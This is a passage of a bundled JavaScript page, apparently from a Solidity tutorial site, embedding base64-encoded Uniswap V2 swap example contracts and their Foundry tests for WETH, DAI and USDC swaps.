aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],zm=`

                    swapExactTokensForTokens sells all tokens for another.

                    +`,Km=({prev:s,next:a})=>r.jsx(A,{version:Xm,title:vm,description:Rm,html:Hm,prev:s,next:a,codes:Nm}),Fm="0.8.24",Mm="Uniswap V2 Swap",Sm="Uniswap V2 swap",xm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vd